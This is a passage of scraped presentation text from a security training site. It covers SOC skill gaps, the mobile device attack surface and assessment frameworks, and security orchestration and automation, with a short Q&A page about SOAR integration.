secure, and fit into the operational capability of the organization Montance® LLC Visibility Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Care & Feeding Montance® LLC Failure to address skill gaps will hurt your business. Keeping the Lights on Isn’t Enough ● Many SOCs do little more than operate systems, never get to in-depth analysis ○ Poor budgeting ○ Misunderstanding of what the SOC is supposed to do by management (lack of management support) ○ Staff shortage, lack of empowerment, lacking clear boundaries of authority (results in overreach, then hesitance) ● Resolutions ○ Outsource the tool management if feasible ○ Consistently convey the SOCs responsibility as analytical and threat-focused, with monitoring and incident handling responsibility ○ Develop great engineered programs for automated detections (develop use cases) ○ Also hunt: ad hoc, sloppy, but structured and progressively more repeatable in structure, enabling progressively more creative and unstructured hunting Montance® LLC Conclusion Montance® LLC Failure to address skill gaps will hurt your business. Conclusion ● Today, we started into the Montance® Technology Taxonomy I use to organize technology for security operations. ● In our next two programs we’ll cover: ○ The rest of the taxonomy: Communication, Ops, Detection & Prevention, Storage, Deception, and Analysis ○ Orchestrating and automating technology to develop effect data use and technology selection criteria Montance® LLC Failure to address skill gaps will hurt your business. Let’s Connect Amanda Davi adavi@cybrary.it linkedin.com/in/amanda-davi www.cybrary.it/businessChris Crowley chris@montance.com mgt517.com/linkedin www.soc-class.com Montance® LLC Failure to address skill gaps will hurt your business. Resources ● Cybrary SOC Career Paths ○Level 1 ○Level 2 ○Level 3 ● Montance® SOC-Class: online in December ○https://soc-class.com ●SOC Survey Key Findings and Results Video Series : https://soc-survey.com Montance® LLC Thanks For Joining Us! Montance® LLC --- ## Source: https://montance.com/questions.php?id=157 [![pdf](content/images/icons/pdf.svg) Mobile Attack Surface AATCC](https://drive.google.com/file/d/1lutkSClXSmbdLrib0fULq-0u5s-xpmxU/view?usp=drive_link) Mobile Attack Surface AATCC Presentation by Christopher Crowley (2021-08-16) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Mobile Attack Surface AATCC ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1lutkSClXSmbdLrib0fULq-0u5s-xpmxU/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1lutkSClXSmbdLrib0fULq-0u5s-xpmxU/view?usp=drive_link]** Mobile Assessments: Attack Surface and Frameworks SOC-Class.com || Montance® LLC1Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Christopher Crowley•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Mobile: iPad, blackberry, nokia •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… •Consultant, author of SOC- Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504 Montance® LLC 2 Context of this Presentation SOC-Class.com || Montance® LLC3Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Cybersecurity Issues•I’m only speaking to cybersecurity concerns, not physical safety concerns (eg.data theft, not battery explosion) •Talk focuses on mobile devices (Android & iOS) •You as a vendor, reseller, regulator, or user are probably developing and selling a device with only in a subset of the attack surface •It is probable your less-featured device is going to link back to a fully featured mobile device Montance® LLC 4 Assessing Cybersecurity Issues•I will reference several frameworks for assessing these issues. Notably CIS and MASVS (OWASP). •There are legal issues your organization needs to resolve, reputational issues your organization needs to consider, stewardship and privacy considerations of your customers to address •Your organization needs to decide how to apply these concepts balancing legal, technical, business, privacy, and social pressures. Montance® LLC 5 IoT, Wearables, Mobile, …•Grouping: IoT, wearables, and mobile into a sub-category of information systems is convenient, due to the presence of internet connectivity, personal ownership, and individual affinity. •Compromise vectors by financially motivated threat actors apply to all information systems. •Data collection by vendor platforms and governments occurs regularly with minimal individual recourse. •We’ve seen some examples where poor vendor development practices result in large scale compromise, resulting in substantial damage. •Miraibotnet is an infamous example. Montance® LLC 6 Mobile SOC-Class.com || Montance® LLC7Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Mobile -defined•As distinguished from servers, workstations (laptops), Control systems (SCADA), network infrastructure (Wi-Fi access point, switch, router, etc.) -not those things •mobile’s typical OS: Android, iOS, Symbian, Blackberry OS, Windows Phone, plus System on Chip (SoC) OSes, •Are usually cellular capable (some wi-fi only) and •characterized by small form factor, diminished general compute capability, no service offerings (SMB, SSH, …) by default / design, ability to install user applications, with •a minimal interface, small screen, and no full keyboard. Montance® LLC 8 Mobile -architecture defined•A mobile device has firmware, an operating system, and applications installed, •and is capable of connecting to a multitude of networks (cellular, 802.11 WiFi) to transfer data over IP protocol, usually requiring a subscription cellular plan to provide connectivity over large area, and •allows the user to install additional applications. The device primarily focuses on communication functionality. These devices have become de facto personal computer, organizer, and assistant. Montance® LLC 9 Mobile -attack surface overview•Attack surface is the hardware itself (firmware, etc.) •multi-homed network connectivity •including WiFi, and Cellular networks as well as •multiple interface connectivity opportunities, like •wired (USB, Lightning) and RF (Bluetooth, NFC) •plus, the operating system of device and SoC, the •applications installed, and the •user operating the device. •I’ll cover attack surface details later in the talk… Montance® LLC 10 Threats SOC-Class.com || Montance® LLC11Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Threats -taxonomy (B$,M$,T$) $B $M $T Montance® LLC 12•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. Threats -C,I,A•Information Assurance protections define •Confidentiality, •Integrity, and •Availability. •Mobile devices risk harm through •disclosure of credentials and harm of reputation; •alteration of data causing errors and harm; plus •data destruction resulting in: extra work to recreate it, misfortune and errors, and inconvenience. Montance® LLC 13 Threats -privacy•Privacy can be violated through location information, microphone, camera, calendar, or •review of private conversations by unauthorized parties (government, employer, competitor, advertiser, spouse, …). •A lot of people find advertisement relevant to private conversations “creepy” but accept it. The phone has access to relevant areas of interest via data on the mobile device. •For example, most mobile applications allow the application vendor insight into the details of conversations. •While many messaging application vendors have moved to end-to- end encryption to protect content and remove themselves from the man-in-the-middle position, the application running on the mobile still sees the decrypted conversation and can use it to eavesdrop or advertise in a targeted fashion. Montance® LLC 14 Threats -financial•Financial fraud is in the billions of dollars per year, US FTC Consumer Sentinel Network Data Book 2019 •shows $1.9B USD total reported losses in 2019 in USA. •There are many ways to conduct this fraud: •theft of credentials (passwords, one-time tokens), •in-app purchase fraud, premium SMSs, •game assets theft and resale, cryptocurrency theft, •direct transfers within mobile banking apps, •extortion (CryptoLocker, Blackmail,…), and •resell access to device for organizational access or bot. Montance® LLC 15 Threats -practically illustrated•There are many threats you can emulate. •One example talk illustrating an actor and associated infrastructure was Lookout’s Stealth Mango talk: Blaich, Flossman, Blackhat ’18. •Or the Azimuth/OffcellMandt, Solnich, Wang iPhone SEP reversing talk at Blackhat ’16. •So many good ones out there, really… You should consider which threats target you. Montance® LLC 16 Threats -your primary concern?•You as a person or organization may have specific concerns over mobile devices. •This depends on the data stored on the device. •Determining what data is present is a challenge. •Most people blend personal use with business use in a non-compartmentalized fashion, for the convenience of carrying one mobile device. •Applications can provide compartmentalization. Montance® LLC 17 Guidelines -list, checklist, how-to•Re-use the community information already available, such as: •Joshua Wright’s (SANS) Top 8 Steps for Mobile, •NISTs relevant Special Publications (SP), •Center for Internet Security (CIS) benchmarks, •OWASP Mobile Security Test Guide (MSTG), MASVS, •And ATT&CK mobile: matrices, tactics, techniques. •Some details about a couple of these follows. Montance® LLC 18 Assessments -explained•Performing assessment of a mobile device rarely is full assessment of all parts of the architecture. •If you intend to do a full assessment, it will take a lot of time and resources. •There are companies who are capable of this, and government agencies who are capable of this. They’re usually resource constrained, too. You’ll likely only assess selected aspects of the architecture in as much detail as you can afford. Montance® LLC 19 surface, threat, assessment•So, we’re stuck selecting the attack surface, relevant threat, and assessment methodology based on what concerns us most. The •attack surface is the portion of the architecture that may be vulnerable. •Threats T$,M$,B$ are all out there. •Assessment selection: planning to attack 4G crypto? Use a jailbroken iOS device to do run-time analysis of an app on an iPhone? Have those skillz& time? Montance® LLC 20 $B $M $T Guidelines -ATT&CK•ATT&CK framework has matrices dedicated to mobile devices, and specifics on android and iOS •online at attack.mitre.org. Look at •Mobile Tactics, Techniques, and Mitigations, •Network Effects (TA0038): intercept/manipulate, •and Remote Service (TA0039): cloud/EMM/MDM. Montance® LLC 21 Guidelines -CIS•CIS publishes Benchmarks for iOS and Android which indicate suggested configuration and considerations. •Contain specifications on how to securely configure devices with options at each operating system version level. These are •good things to crosswalk your configurations against to select controls. •I’m a contributor to the upcoming release. Montance® LLC 22 Guidelines -MASVS•OWASP’s Mobile Application Security Verification Standard (MASVS) is multi-lingual direction for development of mobile applications and the testing/verification of those controls presented as an industry standard (like CIS). •It is synced to OWASP MSTG. •Specification guide on appropriate security. Montance® LLC 23 Guidelines -MSTG•Mobile Security Testing Guide (MSTG) is how to test the same specifications as OWASP MASVS. It is •“…a comprehensive manual for mobile app security testing and reverse engineering…” •I suggest you tell your legal team “ application assessment” not “reverse engineering” when you •request permission to do “an assessment of the suitability of legally acquired software for use in a network I own, control or manage,” or something. Montance® LLC 24 Guidelines -MSTG -AAPG ExampleMontance® LLC 25Android App PenTestGuide(AAPG) is an implementation of MSTG. Guidelines -NIST SPs•United States Department of Commerce’s National Institute of Standards and Technology (NIST) docs relevant to mobile devices include: •SP-1800-4: Mobile Device Security: Cloud and Hybrid Builds (2019), •SP-800-163: Vetting the Security of Mobile Applications (2019), •SP-800-101: Mobile Device Forensics (2014), •SP-800-124: Guidelines for Managing the Security of Mobile Devices in the Enterprise (2013), and •SP-800-164: Guidelines on Hardware-Rooted Security in Mobile Devices (2012). •There may be additional ones to consider. Montance® LLC 26 Tools -assessments•Some great, some bad tools out there. •My opinion is a terrible tool in the hands of an effective tester likely will still yield good results, an excellent tool wielded by someone who knows little or has little time will yield poor results despite high potential for value. •Training, discipline, interest, adequate time and motivation are usually the difference. •A good list is awesome-mobile-security on github. Montance® LLC 27 Attack surface (Don’t get ahead of ourselves to think about how to exploit, that is forthcoming.) SOC-Class.com || Montance® LLC28Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Attack surface -hardware•The hardware itself is subject to re-use or attack. Device can have flaws in memory, CPUs, storage, antennas: {cell, WiFi, nfc, bluetooth}, interface: {usb, mic/ear jack}. •The firmware to execute instructions on the hardware can be flawed. •Access (eg, chip-off) or leveraging flaws can lead to data access, execution of unauthorized code or exceptions leading to interruption of code execution. Montance® LLC 29 Attack surface -baseband (code)•The baseband processor is the processor responsible for the communication to the cellular network. Part of System on a Chip (SoC). •This processor (and distinct memory) runs a real time operating system (RTOS) to support the signaling functions required for radio frequency (RF) communications. OS and hardware can be flawed. •Also many other task-specific processors and code in a SoC. Montance® LLC 30 Attack surface -secure / trusted device•Most modern computers and phones include a trusted platform module (TPM) or secure enclave processor (SEP) which is intended to alleviate the general processor (CPU) of sensitive operations and data in order to protect from a compromised CPU. •This includes cryptographic actions as well as crypto data storage. It may be biometric related. Or yet another separate biometric enclave may be used. •The SEP or TPM is itself targeted for attack, both hardware and its as specialized code. Montance® LLC 31 Attack surface -operating system•The operating system (OS) of the main phone can have exploitable flaws. •Flaws in this OS (or the boot components as in checkm8 flaw from axi0mX) such as: buffer overflows, use after free, off by one, … (see MITRE CWE for more) may exist. •Leading to control of the operating system and the majority of the data stored, but not SEP. Montance® LLC 32 Attack surface -applications•An app isn’t part of the OS. They’re usually written by a third party. The OS defends itself against the apps because they can attempt to exploit the OS. •Android uses a virtual machine and SELinuxrestrictions, •iOS employs app whitelisting after code review (digital signature required prior to execution) & filesystem chroot. •Plus, apps can attack one another via inter-process communication (IPC) and unauthorized access to another app’s data if the OS doesn’t adequately enforce controls. •Apps store and collect tremendous amounts of data from the user and the device’s sensors such as: location, movement, contacts, messages, phone calls, images, voice and other ambient recordings, WiFiAPs nearby, … Montance® LLC 33 Attack surface -networks•Mobile devices often connect to networks managed by some third party such as a cellular provider or public/hotel/airport WiFi. •This network could be intentionally malicious, or could be negligent in security and become an unintentional delivery vector of malice. •Attacks include Man-in-the-middle, eavesdropping attacks, redirection of DNS, or injection of content through non-secure or insecure connections transiting network. Montance® LLC 34 Attack surface -networks: cellular•Attacks of cell and crypto protocols over the air (RF) •2G: uses single direction auth(net of device) and can be impersonated, plus its crypto is broken. (Barkan, 2008) •3G/4G uses bi-directional auth. Some attacks published, in practice it’s secure for use but there may be opportunities for downgrade or $M or $B actors to undermine crypto. •aLTEr(2019) is an attack for MITM position, modified DNS. •The infrastructure of the cellular network (the carrier) has an opportunity to attack all traffic. This could be malice (eg.national carrier directed by government), or compromise through negligent controls management, or performed by an insider. •A malicious peer cell network can misrepresent device presence using SS7 to also receive messages and calls. Or SIM swapping attacks. Montance® LLC 35 Attack surface -networks: WiFi•WiFiis much weaker than cellular networks. •ARP poisoning and other trivial MITM attacks, •open network (no-crypto) evil twin type attacks, •or crypto attacks against WEP or WPA/WPA2 with poor implementation (passwords like Spring2021) or persistent effort (WPA PSK attack with GPU enabled) to undo the network crypto and association restrictions. Once cracked, previously encrypted communication can often be decrypted. •802.11 management frame are usually unencrypted. Montance® LLC 36 Attack surface -networks: bluetooth•Bluetooth is often used to associate a peripheral with the mobile device. This is an •opportunity to access device data and inject keystrokes (or gestures), also an •opportunity to file share, or transfer contacts. •Association within Bluetooth protocol is intended to diminish this attack, some •flawed implementations have been reported. •Connection most likely used for wearables to connect to the phone. Montance® LLC 37 Attack surface -networks: NFC•NFC is proximity sharing, within centimeters. •NFC is frequently used for contactless payment. This draws the attention of financial fraud actors. •Protocol reverse engineering attacks exist to overcome proximity, for example, NFCProxy. •Standing close to a person’s phone, can I relay NFC to a nearby Point of Sale to buy something? •(Relay-type attack was demo’dfor auto FOB.) Montance® LLC 38 Attack surface –data storage•Data storage on the device is subject to access. •The device’s physical storage can be taken off the device for access to the data in some cases. •All associated cloud, infrastructure, and extrastructure(organization systems in external infrastructure) servers used for data storage are potential vectors of attack. Montance® LLC 39 Attack surface -crypto•Many of the protections we rely upon depend upon cryptography to provide protection. •Encrypting data increases the computational expense of recovering data. It does not render the data unrecoverable! I read this phrase in #cyber media all the time and feel repulsion every time I see that blatant misrepresentation. Hashing renders computationally infeasible to recover, but algorithm strengths vary. 30 years ago, Data Encryption Standard (DES) was badass. •Remember heartbleed? Why don’t you have as clear a memory of the “gotofail” flaw? A weird Apple issue fixed. https://www.feistyduck.com/ssl-tls-and-pki-history/ Montance® LLC 40 Attack execution Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC41$B $M $T Attack execution -physical possession•Physically holding the device is an opportunity for attackers to see data or to introduce configuration changes or an exploit. •“Evil maid” attack: Trusted/authorized insider leverages short duration access to view/change. •Theft & return: How relieved you are to get your lost phone back? Was the loss event crafted? •Cross a border? All devices subject to inspection. Montance® LLC 42 Execution - supply chain introduction•Similar to physical access, the supply chain itself could be affected (by $M or $B) to deliver a (targeted) pre-compromised device. Target the •hardware manufacturer, cell provider, OS development vendor, application store, or development framework (eg, xCodeGhost). •Post sale/delivery opportunities exist, too. SIM swap on cellular networks; or app stores could be leveraged to send malicious updates or apps. Montance® LLC 43 Execution -trusted connected device•The mobile device is frequently connected to other devices, for example, power charging. •If a laptop is used to make backups, there’s a trust authorized for access to data. This could be abused for data theft or installation of software. •Bi-directional attack opportunity with wearables. •Similarly, MDM/EMM establishes trust for management. A compromised MDM was recently used to install cryptolockeron devices. •Cloud assets are trusted connected devices. Montance® LLC 44 Attack execution -remote•Mobile devices receive unsolicited communication from untrusted third parties via SMS/MMS. •Stagefrightflaw was remotely exploitable via crafted MMS message. The exploit occurred when the OS library (libstagefright) attempted to create the thumbnail to display to user. No user action required. •Display of WiFiaccess points triggered exploit (crash, not control) of iOS in the truetype(and blackdot). •Trueremote would require no user action whatsoever. Basically SMS/MMS, cellular baseband flaw, or with proximity to device in the case of a Bluetooth, WiFi, or NFC flaw. •Google ZDI: Ian Beer –2020-12: Radio proximity remote Montance® LLC 45 Attack execution -social engineeringMontance® LLC 46•Enticing the user to perform initial action to start off an exploit (or series of exploits) is common. •Pegasus targeted iOS with a message to click link. Or, •2019-08 iOS Exploit Chain: website hosted iOS zero day. •($T,$M,$B) use this because the mobile device is largely used as a client side device only, and substantial effort has gone into protecting the attack surface components which process untrusted data. •Problem is most people click all the things without any regard whatsoever to safety, or are easily duped. @CCrowMontance•This slide deck available: https://mgt517.com/cell as are many other decks up one folder in Public. •Stay safe, assess and use your mobile devices with an informed view of the benefits and risks… •I truly want to hear your thoughts on this. Tweet? Montance® LLC 47 --- ## Source: https://montance.com/questions.php?id=128 [![pdf](content/images/icons/pdf.svg) SOAR DomainTools.pdf](https://drive.google.com/file/d/1lshPl0P5DLyFKxlLgqPegrVeQGU2gzxR/view?usp=drive_link) SOAR Domaintools Presentation covering SOAR titled 'SOAR Domaintools'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary benefit of SOAR according to the presentation? A: It acts as a 'Force Multiplier' by automating repetitive tasks. * Q: Which SOAR platforms were mentioned? A: Phantom, Demisto, and Swimlane. * Q: How does DomainTools integrate with SOAR? A: By providing enriched domain and IP intelligence to automated playbooks. * Q: What specific use case was highlighted for automation? A: Phishing triage and investigation. * Q: What is the 'Iris' platform mentioned? A: DomainTools' investigation platform for threat intelligence. * Q: What is the value of 'Risk Score' in the integration? A: It allows playbooks to make automated decisions based on the domain's reputation. * Q: How does the integration help with 'Pivoting'? A: It allows analysts to automatically find connected infrastructure (e.g., other domains by the same registrant). ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1lshPl0P5DLyFKxlLgqPegrVeQGU2gzxR/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1lshPl0P5DLyFKxlLgqPegrVeQGU2gzxR/view?usp=drive_link]** Copyright Christopher Crowley Security Operations 1Crowley Intro Copyright Christopher Crowley Security Operations 2Christopher Crowley •Background: root on (Ultrix/VMS)at 15 years old (Not much #CYBER in the 80s), IR in ‘00s, … •Sectors: Defense & DIB, Education, Energy, Gov’t, Financial, Software Development, Telecom •Currently: Consultant, Author of SOC-Class, Security Operations Survey 2017-2021 SANS Instructor: SEC511, SEC575, SEC504, … •SOC build timeline project: https://www.soc-class.com https://www.montance.com/soc/timelineSANS Senior Instructor Twitter: CCrowMontance Christopher Crowley: worked in high school doing Unix systems administration. He was hired to run backups after the work day was finished at a company that did software development for integrated circuit design and had a photolithography facility. He worked for some very progressive Engineers and Systems Administrators who were part of a consortium of government (the State of Massachusetts) funding, private funding (Digital Equipment Corporation) and educational institutions in Massachusetts such as MIT, WPI, etc. The project of the company was to provide software to hardware engineers who were developing integrated circuit (IC) computer chips. At that time, security wasn’t much of a concern. There were open FTP (file transfer protocol) shares that contained a lot of files to access. Granted, it was nothing compared to the amount of information available online today. He also had root level access on all computers in the organization so he could perform the backups that were his primary reason for working at the organization. His Twitter handle is CCrowMontance if you would like to tweet your thoughts from the presentation. Copyright Christopher Crowley Security Operations 3Introduction •I’m going to talk about some aspects of the “What” of Orchestration and Automation •“How” and “When” a little bit •Your take away will hopefully be how to structure your effort to accomplish effective automation and orchestrationMy Talk Copyright Christopher Crowley Security Operations 4Orchestration Defined •Orchestration is the automated configuration, coordination, and management of computer systems and software. Wikipedia: Orchestration_(computing) •In Security Operations we tend to focus on the coordination between various systems, software, and data setsOrchestration for Security Operations Copyright Christopher Crowley Security Operations 5Automation Defined •Automation is the technology by which a process or procedure is performed with minimum human assistance. Wikipedia: Automation •In Security Operations we tend to focus on the execution of specific steps of actions that are repeatedAutomation in Security Operations Copyright Christopher Crowley Security Operations 6Applying to Security Operations •Somewhat of an academic distinction between Orchestration and Automation •Orchestration entails automation, specifically in the context of configuration / management •Because I’m a lazy and imprecise speaker, I’ll mostly use them interchangeablyOrchestration and Automation Copyright Christopher Crowley Security Operations 7Applying to Security Operations •Orchestration and Automation can be applied to various parts of the SecOps sequence •Consider the differences between •Identification: Something might be bad •Investigation: Determine if it is bad •Analysis: What, How, When, Why (Who?)… it happened •Response: Stop the damage from the bad thing •Recovery: Data and systems restored to normalDifferent Things That We Do Copyright Christopher Crowley Security Operations 8Security Operations Center: Functional Components Copyright Christopher Crowley Security Operations 9Reference: Functional Areas of a SOC Threat Intelligence Incident Response Forensics Self-Assessment Steering Committee Command Center Monitoring Steering Committee: Forming a steering committee to provide oversight and advice is another really good step forward not only in formulating Security Operations requirements, but also in helping to ensure your efforts stay on track. Key stakeholders such as the following should be invited to be on the steering committee: •The head of your organization’s legal department •The head of human relations (HR) •The head of physical security •The head of public relations (PR) •The head of IT and/or operations •The head of Government relations (if applicable) •Business unit managers Steering committee members provide input concerning what they do and do not want when it comes to SOC efforts. They will also provide honest feedback concerning what the SOC function has and has not done correctly—feedback you can use to improve the function. Finally, if an incident occurs with a business unit or involves a breach of both physical and logical security, you will already have a relationship with key players in other areas, thus increasing the likelihood of mutual cooperation. Obtaining certain kinds of documentation can also be helpful in formulating requirements. If you are able to get hold of your organization’s business or operational plan, something to which access is normally extremely restricted, you can become acquainted firsthand with business directions and drivers. This, in turn, will help you know what kinds of SOC activities are most needed. Internal and external audit reports will also provide a strong indication of the business directions and drivers, as well as areas within your organization that might have much higher levels of unmitigated risk than others. Legal and regulatory compliance strategy documents will tell you much about your organization’s risk appetite regarding legal and regulatory risk. Past incident reports will not only inform you concerning the kinds of incidents that have occurred in the past, but also what kind of content should have been included in the SOC requirements, but was omitted. Command Center: The SOC is the command center for all cybersecurity related activities. This is the equivalent of 911. For non- US audiences, 911 is the nationwide telephone number for all emergency assistance requests such as fire, acute health issues, and police assistance. The SOC is to maintain awareness of the threat environment. This means when a new vulnerability is disclosed, the SOC correlates available information with the inventory of systems within the organization. The SOC receives requests for help and communicates information to affected parties. The SOC is authorized to direct action be taken to protect the interest of the organization. The SOC’s capability may specifically entail Incident Response, and there may be another group which specifically performs IR. The SOC can differentiate what is and is not an incident based on technical indicators and the defined policies and guidance. The SOC is capable of maintaining situational awareness of exercises. Exercises may simulate actual incidents, but the SOC can deconflict reports of multiple incidents and determine if they’re one, as well as understand what reports might be associated with ongoing exercises and then seeking appropriate verification. Command Center SOC Operations: Anticipate the operational requirements for the systems in use within the SOC. These systems require deployment, testing, and ongoing operational monitoring for the same sort of confidentiality, integrity, and availability of systems as those systems the SOC is intended to protect. In fact, the SOC represents an ideal target for an adversary to compromise. Apply strict management controls to these practices. Hopefully the organization has a mature practice of operations and these practices can be applied to the SOC systems. Without this maturity the SOC risks complaisance and a false sense of security. Excellence in operations and the ability to manage change is the base from which the sort of control we want for security emanates. Network Security Monitoring: Network Security Monitoring (NSM) is a cornerstone capability of a SOC. In fact, there may be a specialized sub-group of the SOC which performs these tasks. Many people think of NSM as a SOC. By the functional areas definition, NSM itself isn’t a SOC. Network security monitoring is watching data in motion or at rest. Some literature distinguishes NSM from continuous security monitoring (CSM) or similar monitoring activities. Security Monitoring might be a better term for your instance if this overloading of NSM bothers you. This activity involves utilizing Network Intrusion Detection Systems (NIDS); Host Based Intrusion Detection Systems (HIDS); Host Protection Suite (including HIPS, A/V, etc.); network firewall logs; host-based firewall logs; server logs such as Active Directory (AD) Domain Controller (DC) logs; web server logs; file server logs; mail server logs; DNS query logs. This multitude of data is frequently aggregated into a single resource of data, frequently called a Security Information and Event Management (SIEM). Network instrumentation, servers to collect data, servers to analyze traffic, and consoles to present information to analysts who then correlate and assess the information are all required. The analysts need a substantial background in information systems and are benefited by knowledge of the environment they are monitoring. The NSM team is tasked with detecting problems. Threat Intelligence: The idea of threat intelligence started with early internet worms and information sharing. Techniques for sharing information were ad hoc at first, then blossomed into information sharing. There were specifications discussed for sharing threat information; for example IDMEF (https://www.ietf.org/rfc/rfc4765.txt ), IODEF (https://www.rfc-editor.org/rfc/rfc5070.txt ). Mandiant’s Indicator of Compromise (IOC) filled a void for sharing information and has morphed into the OpenIOC language: (http://www.openioc.org/ ) Tracking failures in the form of incidents is another form of Threat Intelligence, and the Vocabulary for Event Recording and Incident Sharing (VERIS) language (http://veriscommunity.net/) was established to do this. There are online communities, both open and closed for sharing information about threats. Threat Connect (https://www.threatconnect.com/) is a well-known open source one. But other examples include VirusTotal (https://www.virustotal.com/ ), other sandboxing sites, and reputation services such as anti-spam lists and website reputation assessment sites and infrastructures provided by browsers. The most important recent development in threat intelligence is organizations who invest funds in dedicating staff to study their specific adversaries. We see this in the form of industry collaborations as well as dedicated internal intelligence teams. “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War . Thomas Cleary, trans. Boston- Shaftsbury: Shambhala. 1987. Incident Response: The response capability of the SOC is to deal with items that were identified through monitoring in an efficient and time-sensitive way. We strive to minimize impact to the organization’s information assets. This is a complex and difficult effort. We’ll delve into specific details of IR on days 4 and 5. Forensics: Forensics, or more specifically Digital Forensics, is the science of determining what occurred based on traces of information left behind by events. An event is any observable occurrence. We'll discuss the major categories of forensic capability in detail. Some people consider incident response and forensic inseparable. The purpose of defining the functional areas is to provide modular units to allow you to architect your SOC appropriately. There are multiple sub-disciplines in Forensics: Host, Network, Reverse Engineering, and eDiscovery. Self-Assessment: As with Forensics, there are various subcategories of self-assessment: Configuration Monitoring, Vulnerability Assessment, Pen Testing, and Exercise Development. The objective of self-assessment is to reflect on the state of the information and information systems the organization owns and is responsible for. This reflection critically assesses the ideal state of the environment and the differences between current and ideal state. It is like Lacanian algebra, where there’s always some object petit a; except, in our infrastructure, the self-assessed deficiencies are typically attainable. We often need to overcome political and operational barriers to resolve. The general intention of this capability is to understand the state of the information systems within the organization. Copyright Christopher Crowley Security Operations 10Enumerating Tasks Copyright Christopher Crowley Security Operations 11Orchestration Uses •Extraction of related/correlated data (multiple systems) •Presenting data to analyst for assessment: enrich, correlate, known threat TTPs, internal system’s value •Guiding an analyst through variable options to provide investigation support and response support •Investigation: collect information and analyze information •Response: modify/change, or intervene in operational systemsEffective Scenarios for Orchestration Copyright Christopher Crowley Security Operations 12Orchestration Contraindication •Performance of Analysis: this presentation section on analysis which is neither entirely automated nor specifically orchestrated •Novel / Complex / Unknown scenarios bearing little resemblance to orchestrated situations (phone menu hell) •Exceeding boundaries (typically legal) that may be technically feasible, but inappropriate or illegalContraindication: When Not To Do Something Copyright Christopher Crowley Security Operations 13Automation Uses •Guiding principle: If I’m going to do it more than twice, I should script it once. (SysAdmin’s Mantra) •Containment authorized by a human triggers actions such as: •Collect Memory, Isolate Host (maybe only if certain type of host), Extract data from filesystem around time of possible encounter based on network info, (and vice versa), suspend user account, …Repeatable Operation Copyright Christopher Crowley Security Operations 14Automation Contraindication •Automation paradox: complex systems tend to be more automated, and require human intervention to avoid damage in unexpected scenarios. But human capability to intervene is largely diminished by the automation present. •Scary example: system failures in airplanes •Qantas Flight 72 –autopilot pitch-down actions Paradox of Automation https://en.wikipedia.org/wiki/Qantas_Flight_72 At 09:32 SST on 7 October 2008, Qantas flight 72, with 303 passengers, three flight crew, and nine cabin crew, departed Singapore on a scheduled flight to Perth, Western Australia. By 10:01, the aircraft had reached its cruise altitude of around 37,000 feet (11,000m) and was maintaining a cruising speed of Mach 0.82. The accident started at 12:40:26WST when one of the aircraft’s three air data inertial reference units (ADIRU) started providing incorrect data to the flight computer. In response to the anomalous data, the autopilot disengaged automatically, and a few seconds later, the pilots received electronic messages on the aircraft ECAM, warning them of an irregularity with the autopilot and inertial reference systems, and aural stall and overspeed warnings. During this time, the pilot took control of the aircraft, increasing the altitude to 37,180 ft. The autopilot was then re-engaged and the aircraft started to return to the prior selected flight level. The autopilot was disengaged by the crew after about 15 seconds and would remain disengaged for the remainder of the flight. At 12:42:27 the aircraft made a sudden uncommanded pitch down manoeuvre, recording −0.8 g, reaching 8.4 degrees pitch down and rapidly descending 650 feet (200 m) in about 20 seconds before the pilots were able to return the aircraft to the assigned cruise flight level. At 12:45:08 the aircraft then made a second uncommanded manoeuvre of similar nature, this time reaching +0.2 g, 3.5 degrees pitch down and descending 400 feet (120m) in about 16 seconds before being returned to level flight.[14][15]Unrestrained passengers and crew as well as some restrained passengers were flung around the cabin or crushed by overhead luggage as well as crashing with overhead compartments. The pilots stabilised the plane and declared a state of alert (pan-pan), which was later updated to mayday when the extent of injuries was relayed to the flight crew.[8][16] More crash examples: https://en.wikipedia.org/wiki/Aviation_accidents_and_incidents Copyright Christopher Crowley Security Operations 15Automation Contraindication •No clearly defined parameters of accuracy, success, or what to avoid •IT operational processes are not well defined •Recovery / Business continuity techniques are not well defined and tested •Technology in use isn’t tested / verifiedAvoid Automation When Copyright Christopher Crowley Security Operations 16Inventory of Processes •I suggest you have an inventory of processes that are done by your SOC (or whatever team you’re part of) even if you haven’t fully documented each one •Have a listing of all the things you currently do and want to do •This is useful when considering automationYour Repertoire Copyright Christopher Crowley Security Operations 17We’ll revisit this list idea after the discussion of automating processesList Discussion Copyright Christopher Crowley Security Operations 18How Do I Get There Copyright Christopher Crowley Security Operations 19Building Processes •Identify processes •Identify appropriate levels of specificity: exactly follow steps, overall steps plus a few details, general objectives with latitude •Work out sequence, consider decision points, try to elaborate what might go wrong, define start, stop, success, when to call for help •My favorite example: write directions for me to walk out the front door of this hotelMy Short Sequence to Build Process Copyright 